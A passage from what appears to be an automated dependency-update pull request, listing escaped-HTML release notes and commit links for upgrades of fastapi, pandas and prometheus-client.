href=\"https://github.com/ceb10n\"\u003e\u003ccode\u003e@​ceb10n\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🔨 Add Portuguese translations LLM prompt. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14208\"\u003e#14208\u003c/a\u003e by \u003ca href=\"https://github.com/ceb10n\"\u003e\u003ccode\u003e@​ceb10n\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🌐 Sync Russian docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14331\"\u003e#14331\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🌐 Sync German docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14317\"\u003e#14317\u003c/a\u003e by \u003ca href=\"https://github.com/nilslindemann\"\u003e\u003ccode\u003e@​nilslindemann\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.121.1\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix \u003ccode\u003eDepends(func, scope='function')\u003c/code\u003e for top level (parameterless) dependencies. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14301\"\u003e#14301\u003c/a\u003e by \u003ca href=\"https://github.com/luzzodev\"\u003e\u003ccode\u003e@​luzzodev\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Upate docs for advanced dependencies with \u003ccode\u003eyield\u003c/code\u003e, noting the changes in 0.121.0, adding \u003ccode\u003escope\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14287\"\u003e#14287\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e⬆ Bump ruff from 0.13.2 to 0.14.3. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14276\"\u003e#14276\u003c/a\u003e by \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e⬆ [pre-commit.ci] pre-commit autoupdate. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14289\"\u003e#14289\u003c/a\u003e by \u003ca href=\"https://github.com/apps/pre-commit-ci\"\u003e\u003ccode\u003e@​pre-commit-ci[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.121.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ Add support for dependencies with scopes, support \u003ccode\u003escope=\u0026quot;request\u0026quot;\u003c/code\u003e for dependencies with \u003ccode\u003eyield\u003c/code\u003e that exit before the response is sent. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14262\"\u003e#14262\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\n\u003cul\u003e\n\u003cli\u003eNew docs: \u003ca href=\"https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-with-yield/#early-exit-and-scope\"\u003eDependencies with \u003ccode\u003eyield\u003c/code\u003e - Early exit and \u003ccode\u003escope\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e👥 Update FastAPI People - Contributors and Translators. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14273\"\u003e#14273\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e👥 Update FastAPI People - Sponsors. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14274\"\u003e#14274\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e👥 Update FastAPI GitHub topic repositories. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14280\"\u003e#14280\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e⬆ Bump mkdocs-macros-plugin from 1.4.0 to 1.4.1. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14277\"\u003e#14277\u003c/a\u003e by \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e⬆ Bump mkdocstrings[python] from 0.26.1 to 0.30.1. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14279\"\u003e#14279\u003c/a\u003e by \u003ca href=\"https://github.com/apps/dependabot\"\u003e\u003ccode\u003e@​dependabot[bot]\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.120.4\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix security schemes in OpenAPI when added at the top level app. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14266\"\u003e#14266\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/02e108d1663149faac4156dd23595cbdf74287c2\"\u003e\u003ccode\u003e02e108d\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.121.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/d3b75974f48cd180f6f87de39adc475c7bf8900a\"\u003e\u003ccode\u003ed3b7597\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/5d40dfbc9bc1df1c7801acc53857ec7a072b7697\"\u003e\u003ccode\u003e5d40dfb\u003c/code\u003e\u003c/a\u003e 🐛 Fix handling of JSON Schema attributes named \u0026quot;$ref\u0026quot; (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14349\"\u003e#14349\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/eaf611f9ee56de4f16c837d4f487a4b9fca507c4\"\u003e\u003ccode\u003eeaf611f\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/004ab1a9d1c746bf885d4d6428a721074b2c2d78\"\u003e\u003ccode\u003e004ab1a\u003c/code\u003e\u003c/a\u003e 📝 Add EuroPython talk \u0026amp; podcast episode with Sebastián Ramírez (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14260\"\u003e#14260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/d1be85c728c64aa3d99f8bc7e9865b342f209117\"\u003e\u003ccode\u003ed1be85c\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/42930fe60065420034b7d6ff4932b25993a68481\"\u003e\u003ccode\u003e42930fe\u003c/code\u003e\u003c/a\u003e ✏️ Fix links and add missing permalink in docs (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14217\"\u003e#14217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/9e362d9f6e66078c67295e5ed5e5918739dfe5f0\"\u003e\u003ccode\u003e9e362d9\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/540a83da65b2e3b219ee3d41c4be7837ab05dc84\"\u003e\u003ccode\u003e540a83d\u003c/code\u003e\u003c/a\u003e 🌐 Update Portuguese translations with LLM prompt (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14228\"\u003e#14228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/1a2e4152ed1173dc129bf4feb45c84b704c55eb8\"\u003e\u003ccode\u003e1a2e415\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.104.1...0.121.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pandas` from 2.1.3 to 2.3.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pandas-dev/pandas/releases\"\u003epandas's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ePandas 2.3.3\u003c/h2\u003e\n\u003cp\u003eWe are pleased to announce the release of pandas 2.3.3.\nThis release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.\u003c/p\u003e\n\u003cp\u003eSee the \u003ca href=\"https://pandas.pydata.org/pandas-docs/version/2.3/whatsnew/v2.3.3.html\"\u003efull whatsnew\u003c/a\u003e for a list of all the changes.\nPandas 2.3.3 supports Python 3.9 and higher, and is the first release to support Python 3.14.\u003c/p\u003e\n\u003cp\u003eThe release will be available on the conda-forge channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econda install pandas --channel conda-forge\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOr via PyPI:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epython3 -m pip install --upgrade pandas\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003ePlease report any issues with the release on the \u003ca href=\"https://github.com/pandas-dev/pandas/issues\"\u003epandas issue tracker\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThanks to all the contributors who made this release possible.\u003c/p\u003e\n\u003ch2\u003ePandas 2.3.2\u003c/h2\u003e\n\u003cp\u003eWe are pleased to announce the release of pandas 2.3.2.\nThis release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.\u003c/p\u003e\n\u003cp\u003eSee the \u003ca href=\"https://pandas.pydata.org/pandas-docs/version/2.3/whatsnew/v2.3.2.html\"\u003efull whatsnew\u003c/a\u003e for a list of all the changes.\nPandas 2.3.2 supports Python 3.9 and higher.\u003c/p\u003e\n\u003cp\u003eThe release will be available on the conda-forge channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econda install pandas --channel conda-forge\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOr via PyPI:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epython3 -m pip install --upgrade pandas\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003ePlease report any issues with the release on the \u003ca href=\"https://github.com/pandas-dev/pandas/issues\"\u003epandas issue tracker\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThanks to all the contributors who made this release possible.\u003c/p\u003e\n\u003ch2\u003ePandas 2.3.1\u003c/h2\u003e\n\u003cp\u003eWe are pleased to announce the release of pandas 2.3.1.\nThis release includes some improvements and fixes to the future string data type (preview feature for the upcoming pandas 3.0). We recommend that all users upgrade to this version.\u003c/p\u003e\n\u003cp\u003eSee the \u003ca href=\"https://pandas.pydata.org/pandas-docs/version/2.3.1/whatsnew/v2.3.1.html\"\u003efull whatsnew\u003c/a\u003e for a list of all the changes.\nPandas 2.3.1 supports Python 3.9 and higher.\u003c/p\u003e\n\u003cp\u003eThe release will be available on the conda-forge channel:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econda install pandas --channel conda-forge\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eOr via PyPI:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/9c8bc3e55188c8aff37207a74f1dd144980b8874\"\u003e\u003ccode\u003e9c8bc3e\u003c/code\u003e\u003c/a\u003e RLS: 2.3.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/6aa788a00bda9b0f004302076dad94df3edeafc7\"\u003e\u003ccode\u003e6aa788a\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] DOC: prepare 2.3.3 whatsnew notes for release (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62499\"\u003e#62499\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62508\"\u003e#62508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/b64f0df403d11ac733d9f460f89a5e99c8044ed0\"\u003e\u003ccode\u003eb64f0df\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] BUG: avoid validation error for ufunc with string[python] ar...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/058eb2b0edfc408dae9966ef1f03372f2a3ff04c\"\u003e\u003ccode\u003e058eb2b\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] BUG: String[pyarrow] comparison with mixed object (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62424\"\u003e#62424\u003c/a\u003e) (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/2ca088daef6a9d9333fea8aedffc7e50d28dfdee\"\u003e\u003ccode\u003e2ca088d\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] DEPR: remove the Period resampling deprecation (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62480\"\u003e#62480\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62\"\u003e#62\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/92bf98f623572ed053d48be5818c8503f1b61888\"\u003e\u003ccode\u003e92bf98f\u003c/code\u003e\u003c/a\u003e [backport 2.3.x] BUG: fix .str.isdigit to honor unicode superscript for older...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/e57c7d6a2247316188fba0ba2a0db3c11028d75c\"\u003e\u003ccode\u003ee57c7d6\u003c/code\u003e\u003c/a\u003e Backport PR \u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62452\"\u003e#62452\u003c/a\u003e on branch 2.3.x (TST: Adjust tests for numexpr 2.13) (\u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62454\"\u003e#62454\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/e0fe9a03c90e560c34a3bbbdd1735a8b64f7b281\"\u003e\u003ccode\u003ee0fe9a0\u003c/code\u003e\u003c/a\u003e Backport to 2.3.x: REGR: from_records not initializing subclasses properly (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/23a1085e641c8e3a5b500e319c5973e4160b9236\"\u003e\u003ccode\u003e23a1085\u003c/code\u003e\u003c/a\u003e BUG: improve future warning for boolean operations with missaligned indexes (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pandas-dev/pandas/commit/61136969fb18b438b6660bd5d485d0236dbf4a71\"\u003e\u003ccode\u003e6113696\u003c/code\u003e\u003c/a\u003e Backport PR \u003ca href=\"https://redirect.github.com/pandas-dev/pandas/issues/62396\"\u003e#62396\u003c/a\u003e on branch 2.3.x (PKG/DOC: indicate Python 3.14 support in ...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pandas-dev/pandas/compare/v2.1.3...v2.3.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.19.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1102\"\u003eprometheus/client_python#1102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRe include test data by \u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove parser performance by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1117\"\u003eprometheus/client_python#1117\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support to \u003ccode\u003ewrite_to_textfile\u003c/code\u003e for custom tmpdir by \u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eOM text exposition for NH by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1087\"\u003eprometheus/client_python#1087\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix bug which caused metric publishing to not accept query string parameters in ASGI app by \u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEmit native histograms only when OM 2.0.0 is requested by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1128\"\u003eprometheus/client_python#1128\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: remove space after comma in openmetrics exposition by \u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix issue parsing double spaces after # HELP/# TYPE by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1134\"\u003eprometheus/client_python#1134\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aadityadhruv\"\u003e\u003ccode\u003e@​aadityadhruv\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1115\"\u003eprometheus/client_python#1115\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/hacksparr0w\"\u003e\u003ccode\u003e@​hacksparr0w\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1125\"\u003eprometheus/client_python#1125\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/theSuess\"\u003e\u003ccode\u003e@​theSuess\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1132\"\u003eprometheus/client_python#1132\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.1...v0.23.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eBugFix: Skip validating and parsing comment lines early (\u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1108\"\u003e#1108\u003c/a\u003e) by \u003ca href=\"https://github.com/wissamir\"\u003e\u003ccode\u003e@​wissamir\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1109\"\u003eprometheus/client_python#1109\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUse License Expressions in pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1111\"\u003eprometheus/client_python#1111\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.22.0...v0.22.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.22.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd support for native histograms in OM parser by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1040\"\u003eprometheus/client_python#1040\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd exemplar support to CounterMetricFamily [Fix \u003ca href=\"https://redirect.github.com/prometheus/client_python/issues/1062\"\u003e#1062\u003c/a\u003e] by \u003ca href=\"https://github.com/lod\"\u003e\u003ccode\u003e@​lod\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1063\"\u003eprometheus/client_python#1063\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003ewrite_to_textfile\u003c/code\u003e leaves back temp files on errors by \u003ca href=\"https://github.com/ethanschen\"\u003e\u003ccode\u003e@​ethanschen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1066\"\u003eprometheus/client_python#1066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport UTF-8 in metric creation, parsing, and exposition by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1070\"\u003eprometheus/client_python#1070\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix incorrect use of reentrant locks by \u003ca href=\"https://github.com/suligap\"\u003e\u003ccode\u003e@​suligap\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1076\"\u003eprometheus/client_python#1076\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRemove Python 3.8 support by \u003ca href=\"https://github.com/kajinamit\"\u003e\u003ccode\u003e@​kajinamit\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1075\"\u003eprometheus/client_python#1075\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCheck if labelvalues is in _metrics before deletion in MetricWrapperBase.remove() by \u003ca href=\"https://github.com/GlorifiedPig\"\u003e\u003ccode\u003e@​GlorifiedPig\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1077\"\u003eprometheus/client_python#1077\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd support for Python 3.13 by \u003ca href=\"https://github.com/Pliner\"\u003e\u003ccode\u003e@​Pliner\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1080\"\u003eprometheus/client_python#1080\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCorrect nh sample span structure and parsing by \u003ca href=\"https://github.com/vesari\"\u003e\u003ccode\u003e@​vesari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1082\"\u003eprometheus/client_python#1082\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMigrate from setup.py to pyproject.toml by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1084\"\u003eprometheus/client_python#1084\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eChanged pushgateway.md by \u003ca href=\"https://github.com/mallika-mur\"\u003e\u003ccode\u003e@​mallika-mur\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1083\"\u003eprometheus/client_python#1083\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix order-dependent flaky tests related to UTF-8 support by \u003ca href=\"https://github.com/dg98\"\u003e\u003ccode\u003e@​dg98\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1093\"\u003eprometheus/client_python#1093\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/8746c49a76a7929795fab7b593b1c44dc8c972d2\"\u003e\u003ccode\u003e8746c49\u003c/code\u003e\u003c/a\u003e Release 0.23.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prometheus/client_python/commit/266beb2567e0040a5790836c32de5a643d5177e4\"\u003e\u003ccode\u003e266beb2\u003c/code\u003e\u003c/a\u003e fix: use tuples 